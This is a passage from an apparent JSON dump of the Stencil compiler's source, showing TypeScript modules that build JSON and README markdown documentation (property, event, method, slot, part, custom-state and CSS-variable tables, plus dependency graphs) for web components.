d.JsonDocsCustomState[] => {\n  if (!cmpMeta.attachInternalsCustomStates || cmpMeta.attachInternalsCustomStates.length === 0) {\n    return [];\n  }\n\n  return sortBy(\n    cmpMeta.attachInternalsCustomStates.map((state) => ({\n      name: state.name,\n      initialValue: state.initialValue,\n      docs: state.docs || '',\n    })),\n    (state) => state.name,\n  );\n};\n\nexport const getNameText = (name: string, tags: d.JsonDocsTag[]) => {\n  return tags\n    .filter((tag) => tag.name === name && tag.text)\n    .map(({ text }) => {\n      const [namePart, ...rest] = (' ' + text).split(' - ');\n      return [namePart.trim(), rest.join(' - ').trim()];\n    });\n};\n\n/**\n * Attempts to read a pre-existing README.md file from disk, returning any content generated by the user.\n *\n * For simplicity's sake, it is assumed that all user-generated content will fall before {@link AUTO_GENERATE_COMMENT}\n *\n * @param compilerCtx the current compiler context\n * @param readmePath the path to the README file to read\n * @returns the user generated content that occurs before {@link AUTO_GENERATE_COMMENT}. If no user generated content\n * exists, or if there was an issue reading the file, return `undefined`\n */\nexport const getUserReadmeContent = async (\n  compilerCtx: d.CompilerCtx,\n  readmePath: string,\n): Promise<string | undefined> => {\n  try {\n    const existingContent = await compilerCtx.fs.readFile(readmePath);\n    // subtract one to get everything up to, but not including the auto generated comment\n    const userContentIndex = existingContent.indexOf(AUTO_GENERATE_COMMENT) - 1;\n    if (userContentIndex >= 0) {\n      return existingContent.substring(0, userContentIndex);\n    }\n  } catch (e) {}\n  return undefined;\n};\n\n/**\n * Generate documentation for a given component based on the provided JSDoc and README contents\n * @param readme the contents of a component's README file, without any autogenerated contents\n * @param jsdoc the JSDoc associated with the component's declaration\n * @returns the generated documentation\n */\nconst generateDocs = (readme: string | undefined, jsdoc: d.CompilerJsDoc): string => {\n  const docs = jsdoc.text;\n  if (docs !== '' || !readme) {\n    // just return the existing docs if they exist. these would have been captured earlier in the compilation process.\n    // if they don't exist, and there's no README to process, return an empty string.\n    return docs;\n  }\n\n  /**\n   * Parse the README, storing the first section of content.\n   * Content is defined as the area between two non-consecutive lines that start with a '#':\n   * ```\n   * # Header 1\n   * This is some content\n   * # Header 2\n   * This is more content\n   * # Header 3\n   * Again, content\n   * ```\n   * In the example above, this chunk of code is designed to capture \"This is some content\"\n   */\n  let isContent = false;\n  const lines = readme.split('\\n');\n  const contentLines = [];\n  for (const line of lines) {\n    const isHeader = line.startsWith('#');\n    if (isHeader && isContent) {\n      // we were actively parsing content, but found a new header, break out\n      break;\n    }\n    if (!isHeader && !isContent) {\n      // we've found content for the first time, set this sentinel to `true`\n      isContent = true;\n    }\n    if (isContent) {\n      // we're actively parsing the first found block of content, add it to our list for later\n      contentLines.push(line);\n    }\n  }\n  return contentLines.join('\\n').trim();\n};\n\n/**\n * This function is responsible for reading the contents of all markdown files in a provided `usage` directory and\n * returning their contents\n * @param compilerCtx the current compiler context\n * @param usagesDir the directory to read usage markdown files from\n * @returns an object that maps the filename containing the usage example, to the file's contents. If an error occurs,\n * an empty object is returned.\n */\nconst generateUsages = async (compilerCtx: d.CompilerCtx, usagesDir: string): Promise<d.JsonDocsUsage> => {\n  const rtn: d.JsonDocsUsage = {};\n\n  try {\n    const usageFilePaths = await compilerCtx.fs.readdir(usagesDir);\n\n    const usages: d.JsonDocsUsage = {};\n\n    await Promise.all(\n      usageFilePaths.map(async (f) => {\n        if (!f.isFile) {\n          return;\n        }\n\n        const fileName = basename(f.relPath);\n        if (!fileName.toLowerCase().endsWith('.md')) {\n          return;\n        }\n\n        const parts = fileName.split('.');\n        parts.pop();\n        const key = parts.join('.');\n\n        usages[key] = await compilerCtx.fs.readFile(f.absPath);\n      }),\n    );\n\n    Object.keys(usages)\n      .sort()\n      .forEach((key) => {\n        rtn[key] = usages[key];\n      });\n  } catch (e) {}\n\n  return rtn;\n};\n"
  },
  {
    "path": "src/compiler/docs/json/index.ts",
    "content": "import { isOutputTargetDocsJson, join } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const generateJsonDocs = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  docsData: d.JsonDocs,\n  outputTargets: d.OutputTarget[],\n) => {\n  const jsonOutputTargets = outputTargets.filter(isOutputTargetDocsJson);\n  if (jsonOutputTargets.length === 0) {\n    return;\n  }\n  const docsDtsPath = join(config.sys.getCompilerExecutingPath(), '..', '..', 'internal', 'stencil-public-docs.d.ts');\n  let docsDts = await compilerCtx.fs.readFile(docsDtsPath);\n  // this file was written by dts-bundle-generator, which uses tabs for\n  // indentation. Instead, let's replace those with spaces!\n  docsDts = docsDts\n    .split('\\n')\n    .map((line) => line.replace(/\\t/g, '  '))\n    .join('\\n');\n\n  const typesContent = `\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * DO NOT MODIFY IT MANUALLY\n */\n${docsDts}\ndeclare const _default: JsonDocs;\nexport default _default;\n`;\n\n  const json = {\n    ...docsData,\n    components: docsData.components.map((cmp) => ({\n      filePath: cmp.filePath,\n\n      encapsulation: cmp.encapsulation,\n      tag: cmp.tag,\n      readme: cmp.readme,\n      docs: cmp.docs,\n      docsTags: cmp.docsTags,\n      usage: cmp.usage,\n      props: cmp.props,\n      methods: cmp.methods,\n      events: cmp.events,\n      listeners: cmp.listeners,\n      styles: cmp.styles,\n      slots: cmp.slots,\n      parts: cmp.parts,\n      states: cmp.customStates,\n      dependents: cmp.dependents,\n      dependencies: cmp.dependencies,\n      dependencyGraph: cmp.dependencyGraph,\n      deprecation: cmp.deprecation,\n    })),\n  };\n  const jsonContent = JSON.stringify(json, null, 2);\n  await Promise.all(\n    jsonOutputTargets.map((jsonOutput) => {\n      return writeDocsOutput(compilerCtx, jsonOutput, jsonContent, typesContent);\n    }),\n  );\n};\n\nexport const writeDocsOutput = async (\n  compilerCtx: d.CompilerCtx,\n  jsonOutput: d.OutputTargetDocsJson,\n  jsonContent: string,\n  typesContent: string,\n) => {\n  return Promise.all([\n    compilerCtx.fs.writeFile(jsonOutput.file, jsonContent),\n    jsonOutput.typesFile ? compilerCtx.fs.writeFile(jsonOutput.typesFile, typesContent) : (Promise.resolve() as any),\n  ]);\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/docs-util.ts",
    "content": "export class MarkdownTable {\n  private rows: RowData[] = [];\n\n  addHeader(data: string[]) {\n    this.addRow(data, true);\n  }\n\n  addRow(data: string[], isHeader = false) {\n    const colData: ColumnData[] = [];\n\n    data.forEach((text) => {\n      const col: ColumnData = {\n        text: escapeMarkdownTableColumn(text),\n        width: text.length,\n      };\n      colData.push(col);\n    });\n\n    this.rows.push({\n      columns: colData,\n      isHeader: isHeader,\n    });\n  }\n\n  toMarkdown() {\n    return createTable(this.rows);\n  }\n}\n\nconst escapeMarkdownTableColumn = (text: string) => {\n  text = text.replace(/\\r?\\n/g, ' ');\n  text = text.replace(/\\|/g, '\\\\|');\n  return text;\n};\n\nconst createTable = (rows: RowData[]) => {\n  const content: string[] = [];\n  if (rows.length === 0) {\n    return content;\n  }\n\n  normalizeColumCount(rows);\n  normalizeColumnWidth(rows);\n\n  const th = rows.find((r) => r.isHeader);\n  if (th) {\n    const headerRow = createRow(th);\n    content.push(headerRow);\n    content.push(createBorder(th));\n  }\n\n  const tds = rows.filter((r) => !r.isHeader);\n  tds.forEach((td) => {\n    content.push(createRow(td));\n  });\n\n  return content;\n};\n\nconst createBorder = (th: RowData) => {\n  const border: RowData = {\n    columns: [],\n    isHeader: false,\n  };\n\n  th.columns.forEach((c) => {\n    const borderCol: ColumnData = {\n      text: '',\n      width: c.width,\n    };\n    while (borderCol.text.length < borderCol.width) {\n      borderCol.text += '-';\n    }\n    border.columns.push(borderCol);\n  });\n\n  return createRow(border);\n};\n\nconst createRow = (row: RowData) => {\n  const content: string[] = ['| '];\n\n  row.columns.forEach((c) => {\n    content.push(c.text);\n    content.push(' | ');\n  });\n\n  return content.join('').trim();\n};\n\nconst normalizeColumCount = (rows: RowData[]) => {\n  let columnCount = 0;\n\n  rows.forEach((r) => {\n    if (r.columns.length > columnCount) {\n      columnCount = r.columns.length;\n    }\n  });\n\n  rows.forEach((r) => {\n    while (r.columns.length < columnCount) {\n      r.columns.push({\n        text: ``,\n        width: 0,\n      });\n    }\n  });\n};\n\nconst normalizeColumnWidth = (rows: RowData[]) => {\n  const columnCount = rows[0].columns.length;\n\n  for (let columnIndex = 0; columnIndex < columnCount; columnIndex++) {\n    let longestText = 0;\n\n    rows.forEach((r) => {\n      const col = r.columns[columnIndex];\n      if (col.text.length > longestText) {\n        longestText = col.text.length;\n      }\n    });\n\n    rows.forEach((r) => {\n      const col = r.columns[columnIndex];\n      col.width = longestText;\n      while (col.text.length < longestText) {\n        col.text += ' ';\n      }\n    });\n  }\n};\n\n/**\n * Checks if a given string is a valid hexadecimal color representation.\n *\n * @param str - The string to be checked.\n * @returns `true` if the string is a valid hex color (e.g., '#FF00AA', '#f0f'), `false` otherwise.\n *\n * @example\n * isHexColor('#FF00AA'); // true\n * isHexColor('#f0f');    // true\n * isHexColor('#abcde');  // false (too many characters)\n * isHexColor('FF00AA');  // false (missing #)\n */\nexport const isHexColor = (str: string): boolean => {\n  const hexColorRegex = /^#([0-9A-Fa-f]{3}){1,2}$/;\n  return hexColorRegex.test(str);\n};\n\ninterface ColumnData {\n  text: string;\n  width: number;\n}\n\ninterface RowData {\n  columns: ColumnData[];\n  isHeader?: boolean;\n}\n"
  },
  {
    "path": "src/compiler/docs/readme/index.ts",
    "content": "import { isOutputTargetDocsReadme } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { generateReadme } from './output-docs';\n\nexport const generateReadmeDocs = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  docsData: d.JsonDocs,\n  outputTargets: d.OutputTarget[],\n) => {\n  const readmeOutputTargets = outputTargets.filter(isOutputTargetDocsReadme);\n  if (readmeOutputTargets.length === 0) {\n    return;\n  }\n  const strictCheck = readmeOutputTargets.some((o) => o.strict);\n  if (strictCheck) {\n    strictCheckDocs(config, docsData);\n  }\n\n  await Promise.all(\n    docsData.components.map((cmpData) => {\n      return generateReadme(config, compilerCtx, readmeOutputTargets, cmpData, docsData.components);\n    }),\n  );\n};\n\nexport const strictCheckDocs = (config: d.ValidatedConfig, docsData: d.JsonDocs) => {\n  docsData.components.forEach((component) => {\n    component.props.forEach((prop) => {\n      if (!prop.docs && prop.deprecation === undefined) {\n        config.logger.warn(`Property \"${prop.name}\" of \"${component.tag}\" is not documented. ${component.filePath}`);\n      }\n    });\n    component.methods.forEach((method) => {\n      if (!method.docs && method.deprecation === undefined) {\n        config.logger.warn(`Method \"${method.name}\" of \"${component.tag}\" is not documented. ${component.filePath}`);\n      }\n    });\n    component.events.forEach((ev) => {\n      if (!ev.docs && ev.deprecation === undefined) {\n        config.logger.warn(`Event \"${ev.event}\" of \"${component.tag}\" is not documented. ${component.filePath}`);\n      }\n    });\n    component.parts.forEach((ev) => {\n      if (ev.docs === '') {\n        config.logger.warn(`Part \"${ev.name}\" of \"${component.tag}\" is not documented. ${component.filePath}`);\n      }\n    });\n  });\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-css-props.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\nexport const stylesToMarkdown = (styles: d.JsonDocsStyle[]) => {\n  const content: string[] = [];\n  if (styles.length === 0) {\n    return content;\n  }\n\n  content.push(`## CSS Custom Properties`);\n  content.push(``);\n\n  const table = new MarkdownTable();\n  table.addHeader(['Name', 'Description']);\n\n  styles.forEach((style) => {\n    table.addRow([`\\`${style.name}\\``, style.docs]);\n  });\n\n  content.push(...table.toMarkdown());\n  content.push(``);\n  content.push(``);\n\n  return content;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-custom-states.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\n/**\n * Converts a list of Custom States metadata to a table written in Markdown\n * @param customStates the Custom States metadata to convert\n * @returns a list of strings that make up the Markdown table\n */\nexport const customStatesToMarkdown = (customStates: d.JsonDocsCustomState[]): ReadonlyArray<string> => {\n  const content: string[] = [];\n  if (customStates.length === 0) {\n    return content;\n  }\n\n  content.push(`## Custom States`);\n  content.push(``);\n\n  const table = new MarkdownTable();\n  table.addHeader(['State', 'Initial Value', 'Description']);\n\n  customStates.forEach((state) => {\n    table.addRow([`\\`:state(${state.name})\\``, state.initialValue ? '`true`' : '`false`', state.docs]);\n  });\n\n  content.push(...table.toMarkdown());\n  content.push(``);\n  content.push(``);\n\n  return content;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-dependencies.ts",
    "content": "import { normalizePath, relative } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const depsToMarkdown = (cmp: d.JsonDocsComponent, cmps: d.JsonDocsComponent[], config: d.ValidatedConfig) => {\n  const content: string[] = [];\n\n  const deps = Object.entries(cmp.dependencyGraph);\n\n  if (deps.length === 0) {\n    return content;\n  }\n\n  content.push(`## Dependencies`);\n  content.push(``);\n\n  if (cmp.dependents.length > 0) {\n    const usedBy = cmp.dependents.map((tag) => ' - ' + getCmpLink(cmp, tag, cmps));\n\n    content.push(`### Used by`);\n    content.push(``);\n    content.push(...usedBy);\n    content.push(``);\n  }\n\n  if (cmp.dependencies.length > 0) {\n    const dependsOn = cmp.dependencies.map((tag) => '- ' + getCmpLink(cmp, tag, cmps));\n\n    content.push(`### Depends on`);\n    content.push(``);\n    content.push(...dependsOn);\n    content.push(``);\n  }\n\n  content.push(`### Graph`);\n  content.push('```mermaid');\n  content.push('graph TD;');\n  deps.forEach(([key, deps]) => {\n    deps.forEach((dep) => {\n      content.push(`  ${key} --> ${dep}`);\n    });\n  });\n\n  const { background, textColor } = config.docs.markdown.targetComponent;\n\n  content.push(`  style ${cmp.tag} fill:${background},stroke:${textColor},stroke-width:4px`);\n\n  content.push('```');\n\n  content.push(``);\n\n  return content;\n};\n\nconst getCmpLink = (from: d.JsonDocsComponent, to: string, cmps: d.JsonDocsComponent[]) => {\n  const destCmp = cmps.find((c) => c.tag === to);\n  if (destCmp) {\n    const cmpRelPath = normalizePath(relative(from.dirPath, destCmp.dirPath));\n    return `[${to}](${cmpRelPath})`;\n  }\n  return to;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-events.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\nexport const eventsToMarkdown = (events: d.JsonDocsEvent[]) => {\n  const content: string[] = [];\n  if (events.length === 0) {\n    return content;\n  }\n\n  content.push(`## Events`);\n  content.push(``);\n\n  const table = new MarkdownTable();\n\n  table.addHeader(['Event', 'Description', 'Type']);\n\n  events.forEach((ev) => {\n    table.addRow([`\\`${ev.event}\\``, getDocsField(ev), `\\`CustomEvent<${ev.detail}>\\``]);\n  });\n\n  content.push(...table.toMarkdown());\n  content.push(``);\n  content.push(``);\n\n  return content;\n};\n\nconst getDocsField = (prop: d.JsonDocsEvent) => {\n  return `${\n    prop.deprecation !== undefined\n      ? `<span style=\"color:red\">**[DEPRECATED]**</span> ${prop.deprecation}<br/><br/>`\n      : ''\n  }${prop.docs}`;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-methods.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\nexport const methodsToMarkdown = (methods: d.JsonDocsMethod[]) => {\n  const content: string[] = [];\n  if (methods.length === 0) {\n    return content;\n  }\n\n  content.push(`## Methods`);\n  content.push(``);\n\n  methods.forEach((method) => {\n    content.push(`### \\`${method.signature}\\``);\n    content.push(``);\n    content.push(getDocsField(method));\n    content.push(``);\n\n    if (method.parameters.length > 0) {\n      const parmsTable = new MarkdownTable();\n\n      parmsTable.addHeader(['Name', 'Type', 'Description']);\n\n      method.parameters.forEach(({ name, type, docs }) => {\n        parmsTable.addRow(['`' + name + '`', '`' + type + '`', docs]);\n      });\n\n      content.push(`#### Parameters`);\n      content.push(``);\n      content.push(...parmsTable.toMarkdown());\n      content.push(``);\n    }\n\n    if (method.returns) {\n      content.push(`#### Returns`);\n      content.push(``);\n      content.push(`Type: \\`${method.returns.type}\\``);\n      content.push(``);\n      content.push(method.returns.docs);\n      content.push(``);\n    }\n  });\n\n  content.push(``);\n\n  return content;\n};\n\nconst getDocsField = (prop: d.JsonDocsMethod) => {\n  return `${\n    prop.deprecation !== undefined\n      ? `<span style=\"color:red\">**[DEPRECATED]**</span> ${prop.deprecation}<br/><br/>`\n      : ''\n  }${prop.docs}`;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-overview.ts",
    "content": "/**\n * Generate an 'Overview' section for a markdown file\n * @param overview a component-level comment string to place in a markdown file\n * @returns The generated Overview section. If the provided overview is empty, return an empty list\n */\nexport const overviewToMarkdown = (overview: string | undefined): ReadonlyArray<string> => {\n  if (!overview) {\n    return [];\n  }\n\n  const content: string[] = [];\n  content.push(`## Overview`);\n  content.push('');\n  content.push(`${overview.trim()}`);\n  content.push('');\n\n  return content;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-parts.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\n/**\n * Converts a list of Shadow Parts metadata to a table written in Markdown\n * @param parts the Shadow parts metadata to convert\n * @returns a list of strings that make up the Markdown table\n */\nexport const partsToMarkdown = (parts: d.JsonDocsPart[]): ReadonlyArray<string> => {\n  const content: string[] = [];\n  if (parts.length === 0) {\n    return content;\n  }\n\n  content.push(`## Shadow Parts`);\n  content.push(``);\n\n  const table = new MarkdownTable();\n  table.addHeader(['Part', 'Description']);\n\n  parts.forEach((style) => {\n    table.addRow([style.name === '' ? '' : `\\`\"${style.name}\"\\``, style.docs]);\n  });\n\n  content.push(...table.toMarkdown());\n  content.push(``);\n  content.push(``);\n\n  return content;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-props.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\nexport const propsToMarkdown = (props: d.JsonDocsProp[]) => {\n  const content: string[] = [];\n  if (props.length === 0) {\n    return content;\n  }\n\n  content.push(`## Properties`);\n  content.push(``);\n\n  const table = new MarkdownTable();\n\n  table.addHeader(['Property', 'Attribute', 'Description', 'Type', 'Default']);\n\n  props.forEach((prop) => {\n    table.addRow([\n      getPropertyField(prop),\n      getAttributeField(prop),\n      getDocsField(prop),\n      getTypeField(prop),\n      getDefaultValueField(prop),\n    ]);\n  });\n\n  content.push(...table.toMarkdown());\n  content.push(``);\n  content.push(``);\n\n  return content;\n};\n\nconst getPropertyField = (prop: d.JsonDocsProp) => {\n  return `\\`${prop.name}\\`${prop.required ? ' _(required)_' : ''}`;\n};\n\nconst getAttributeField = (prop: d.JsonDocsProp) => {\n  return prop.attr ? `\\`${prop.attr}\\`` : '--';\n};\n\nconst getDocsField = (prop: d.JsonDocsProp) => {\n  return `${\n    prop.deprecation !== undefined\n      ? `<span style=\"color:red\">**[DEPRECATED]**</span> ${prop.deprecation}<br/><br/>`\n      : ''\n  }${prop.docs}`;\n};\n\nconst getTypeField = (prop: d.JsonDocsProp) => {\n  return prop.type.includes('`') ? `\\`\\` ${prop.type} \\`\\`` : `\\`${prop.type}\\``;\n};\n\nconst getDefaultValueField = (prop: d.JsonDocsProp) => {\n  return prop.default?.includes('`') ? `\\`\\` ${prop.default} \\`\\`` : `\\`${prop.default}\\``;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-slots.ts",
    "content": "import type * as d from '../../../declarations';\nimport { MarkdownTable } from './docs-util';\n\n/**\n * Converts a list of Slots metadata to a table written in Markdown\n * @param slots the Slots metadata to convert\n * @returns a list of strings that make up the Markdown table\n */\nexport const slotsToMarkdown = (slots: d.JsonDocsSlot[]): ReadonlyArray<string> => {\n  const content: string[] = [];\n  if (slots.length === 0) {\n    return content;\n  }\n\n  content.push(`## Slots`);\n  content.push(``);\n\n  const table = new MarkdownTable();\n  table.addHeader(['Slot', 'Description']);\n\n  slots.forEach((style) => {\n    table.addRow([style.name === '' ? '' : `\\`\"${style.name}\"\\``, style.docs]);\n  });\n\n  content.push(...table.toMarkdown());\n  content.push(``);\n  content.push(``);\n\n  return content;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/markdown-usage.ts",
    "content": "import { toTitleCase } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const usageToMarkdown = (usages: d.JsonDocsUsage) => {\n  const content: string[] = [];\n  const merged = mergeUsages(usages);\n  if (merged.length === 0) {\n    return content;\n  }\n\n  content.push(`## Usage`);\n\n  merged.forEach(({ name, text }) => {\n    content.push('');\n    content.push(`### ${toTitleCase(name)}`);\n    content.push('');\n    content.push(text);\n    content.push('');\n  }),\n    content.push('');\n  content.push('');\n\n  return content;\n};\n\nexport const mergeUsages = (usages: d.JsonDocsUsage) => {\n  const keys = Object.keys(usages);\n  const map = new Map<string, string[]>();\n  keys.forEach((key) => {\n    const usage = usages[key].trim();\n    const array = map.get(usage) || [];\n    array.push(key);\n    map.set(usage, array);\n  });\n  const merged: { name: string; text: string }[] = [];\n  map.forEach((value, key) => {\n    merged.push({\n      name: value.join(' / '),\n      text: key,\n    });\n  });\n  return merged;\n};\n"
  },
  {
    "path": "src/compiler/docs/readme/output-docs.ts",
    "content": "import { join, normalizePath, relative } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { AUTO_GENERATE_COMMENT } from '../constants';\nimport { getUserReadmeContent } from '../generate-doc-data';\nimport { stylesToMarkdown } from './markdown-css-props';\nimport { customStatesToMarkdown } from './markdown-custom-states';\nimport { depsToMarkdown } from './markdown-dependencies';\nimport { eventsToMarkdown } from './markdown-events';\nimport { methodsToMarkdown } from './markdown-methods';\nimport { overviewToMarkdown } from './markdown-overview';\nimport { partsToMarkdown } from './markdown-parts';\nimport { propsToMarkdown } from './markdown-props';\nimport { slotsToMarkdown } from './markdown-slots';\nimport { usageToMarkdown } from './markdown-usage';\n\n/**\n * Generate a README for a given component and write it to disk.\n *\n * Typically the README is going to be a 'sibling' to the component's source\n * code (i.e. written to the same directory) but the user may also configure a\n * custom output directory by setting {@link d.OutputTargetDocsReadme.dir}.\n *\n * Output readme files also include {@link AUTO_GENERATE_COMMENT}, and any\n * text located _above_ that comment is preserved when the new readme is written\n * to disk.\n *\n * @param config a validated Stencil config\n * @param compilerCtx the current compiler context\n * @param readmeOutputs docs-readme output targets\n * @param docsData documentation data for the component of interest\n * @param cmps metadata for all the components in the project\n */\nexport const generateReadme = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  readmeOutputs: d.OutputTargetDocsReadme[],\n  docsData: d.JsonDocsComponent,\n  cmps: d.JsonDocsComponent[],\n) => {\n  const isUpdate = !!docsData.readme;\n  const userContent = isUpdate ? docsData.readme : getDefaultReadme(docsData);\n\n  await Promise.all(\n    readmeOutputs.map(async (readmeOutput) => {\n      if (readmeOutput.dir) {\n        const relativeReadmePath = relative(config.srcDir, docsData.readmePath);\n        const readmeOutputPath = join(readmeOutput.dir, relativeReadmePath);\n\n        const currentReadmeContent =\n          readmeOutput.overwriteExisting === true\n            ? // Overwrite explicitly requested: always use the provided user content.\n              userContent\n            : normalizePath(readmeOutput.dir) !== normalizePath(config.srcDir)\n              ? (readmeOutput.overwriteExisting === 'if-missing' &&\n                  // Validate a file exists at the output path\n                  (await compilerCtx.fs.access(readmeOutputPath))) ||\n                // False and undefined case: follow the changes made in #5648\n                (readmeOutput.overwriteExisting ?? false) === false\n                ? // Existing file found: The user set a custom `.dir` property, which is\n                  // where we're going to write the updated README. We need to read the\n                  // non-automatically generated content from that file and preserve that.\n                  await getUserReadmeContent(compilerCtx, readmeOutputPath)\n                : // No existing file found: use the provided user content.\n                  userContent\n              : // Default case: writing to srcDir, so use the provided user content.\n                userContent;\n\n        // CSS Custom Properties preservation is now handled centrally in outputDocs\n        const readmeContent = generateMarkdown(currentReadmeContent, docsData, cmps, readmeOutput, config);\n\n        const results = await compilerCtx.fs.writeFile(readmeOutputPath, readmeContent);\n        if (results.changedContent) {\n          if (isUpdate) {\n            config.logger.info(`updated readme docs: ${docsData.tag}`);\n          } else {\n            config.logger.info(`created readme docs: ${docsData.tag}`);\n          }\n        }\n      }\n    }),\n  );\n};\n\nexport const generateMarkdown = (\n  userContent: string | undefined,\n  cmp: d.JsonDocsComponent,\n  cmps: d.JsonDocsComponent[],\n  readmeOutput: d.OutputTargetDocsReadme,\n  config?: d.ValidatedConfig,\n) => {\n  //If the readmeOutput.dependencies is true or undefined the dependencies will be generated.\n  const dependencies = readmeOutput.dependencies !== false ? depsToMarkdown(cmp, cmps, config) : [];\n\n  return [\n    userContent || '',\n    AUTO_GENERATE_COMMENT,\n    '',\n    '',\n    ...getDocsDeprecation(cmp),\n    ...overviewToMarkdown(cmp.overview),\n    ...usageToMarkdown(cmp.usage),\n    ...propsToMarkdown(cmp.props),\n    ...eventsToMarkdown(cmp.events),\n    ...methodsToMarkdown(cmp.methods),\n    ...slotsToMarkdown(cmp.slots),\n    ...partsToMarkdown(cmp.parts),\n    ...customStatesToMarkdown(cmp.customStates),\n    ...stylesToMarkdown(cmp.styles),\n    ...dependencies,\n    `----------------------------------------------`,\n    '',\n    readmeOutput.footer,\n    '',\n  ].join('\\n');\n};\n\nconst getDocsDeprecation = (cmp: d.JsonDocsComponent) => {\n  if (cmp.deprecation !== undefined) {\n    return [`> **[DEPRECATED]** ${cmp.deprecation}`, ''];\n  }\n  return [];\n};\n\n/**\n * Get a minimal default README for a Stencil component\n *\n * @param docsData documentation data for the component of interest\n * @returns a minimal README template for that component\n */\nconst getDefaultReadme = (docsData: d.JsonDocsComponent) => {\n  return [`# ${docsData.tag}`, '', '', ''].join('\\n');\n};\n\n/**\n * Extract the existing CSS Custom Properties section from a README file.\n * This is used to preserve CSS props documentation when running `stencil docs`\n * without building styles.\n *\n * @param compilerCtx the current compiler context\n * @param readmePath the path to the README file to read\n * @returns array of CSS custom properties styles, or undefined if none found\n */\nexport const extractExistingCssProps = async (\n  compilerCtx: d.CompilerCtx,\n  readmePath: string,\n): Promise<d.JsonDocsStyle[] | undefined> => {\n  try {\n    const existingContent = await compilerCtx.fs.readFile(readmePath);\n\n    // Find the CSS Custom Properties section\n    const cssPropsSectionMatch = existingContent.match(\n      /## CSS Custom Properties\\s*\\n\\s*\\n([\\s\\S]*?)(?=\\n##|\\n-{4,}|$)/,\n    );\n    if (!cssPropsSectionMatch) {\n      return undefined;\n    }\n\n    const cssPropsSection = cssPropsSectionMatch[1];\n    const styles: d.JsonDocsStyle[] = [];\n\n    // Parse the markdown table to extract CSS custom properties\n    // Table format:\n    // | Name | Description |\n    // | ---- | ----------- |\n    // | `--prop-name` | Description text |\n    const lines = cssPropsSection.split('\\n');\n    let inTable = false;\n\n    for (const line of lines) {\n      const trimmedLine = line.trim();\n\n      // Skip header and separator rows\n      if (trimmedLine.startsWith('| Name') || trimmedLine.startsWith('| ---')) {\n        inTable = true;\n        continue;\n      }\n\n      // Parse table rows\n      if (inTable && trimmedLine.startsWith('|')) {\n        const parts = trimmedLine\n          .split('|')\n          .map((p) => p.trim())\n          .filter((p) => p);\n        if (parts.length >= 2) {\n          // Extract the CSS variable name (remove backticks)\n          const name = parts[0].replace(/`/g, '').trim();\n          const docs = parts[1].trim();\n\n          if (name.startsWith('--')) {\n            styles.push({\n              name,\n              docs,\n              annotation: 'prop',\n              mode: undefined,\n            });\n          }\n        }\n      }\n    }\n\n    return styles.length > 0 ? styles : undefined;\n  } catch (e) {\n    return undefined;\n  }\n};\n"
  },
  {
    "path": "src/compiler/docs/style-docs.ts",
    "content": "import type * as d from '../../declarations';\n\n/**\n * Parse CSS docstrings that Stencil supports, as documented here:\n * https://stenciljs.com/docs/docs-json#css-variables\n *\n * Docstrings found in the supplied style text will be added to the\n * `styleDocs` param\n *\n * @param styleDocs the array to hold formatted CSS docstrings\n * @param styleText the CSS text we're working with\n * @param mode a mode associated with the parsed style, if applicable (e.g. this is not applicable for global styles)\n */\nexport function parseStyleDocs(styleDocs: d.StyleDoc[], styleText: string | null, mode?: string | undefined) {\n  if (typeof styleText !== 'string') {\n    return;\n  }\n\n  // Using `match` allows us to know which substring matched the regex and the starting\n  // index at which the match was found\n  let match = styleText.match(CSS_DOC_START);\n  while (match !== null) {\n    styleText = styleText.substring(match.index + match[0].length);\n\n    const endIndex = styleText.indexOf(CSS_DOC_END);\n    if (endIndex === -1) {\n      break;\n    }\n\n    const comment = styleText.substring(0, endIndex);\n    parseCssComment(styleDocs, comment, mode);\n\n    styleText = styleText.substring(endIndex + CSS_DOC_END.length);\n    match = styleText.match(CSS_DOC_START);\n  }\n}\n\n/**\n * Parse a CSS comment string and insert it into the provided array of\n * style docstrings.\n *\n * @param styleDocs an array which will be modified with the docstring\n * @param comment the comment string\n * @param mode a mode associated with the parsed style, if applicable (e.g. this is not applicable for global styles)\n */\nfunction parseCssComment(styleDocs: d.StyleDoc[], comment: string, mode: string | undefined): void {\n  /**\n   * @prop --max-width: Max width of the alert\n   */\n  // (the above is an example of what these comments might look like)\n\n  const lines = comment.split(/\\r?\\n/).map((line) => {\n    line = line.trim();\n\n    while (line.startsWith('*')) {\n      line = line.substring(1).trim();\n    }\n\n    return line;\n  });\n\n  comment = lines.join(' ').replace(/\\t/g, ' ').trim();\n\n  while (comment.includes('  ')) {\n    comment = comment.replace('  ', ' ');\n  }\n\n  const docs = comment.split(CSS_PROP_ANNOTATION);\n\n  docs.forEach((d) => {\n    const cssDocument = d.trim();\n\n    if (!cssDocument.startsWith(`--`)) {\n      return;\n    }\n\n    const splt = cssDocument.split(`:`);\n    const styleDoc: d.StyleDoc = {\n      name: splt[0].trim(),\n      docs: (splt.shift() && 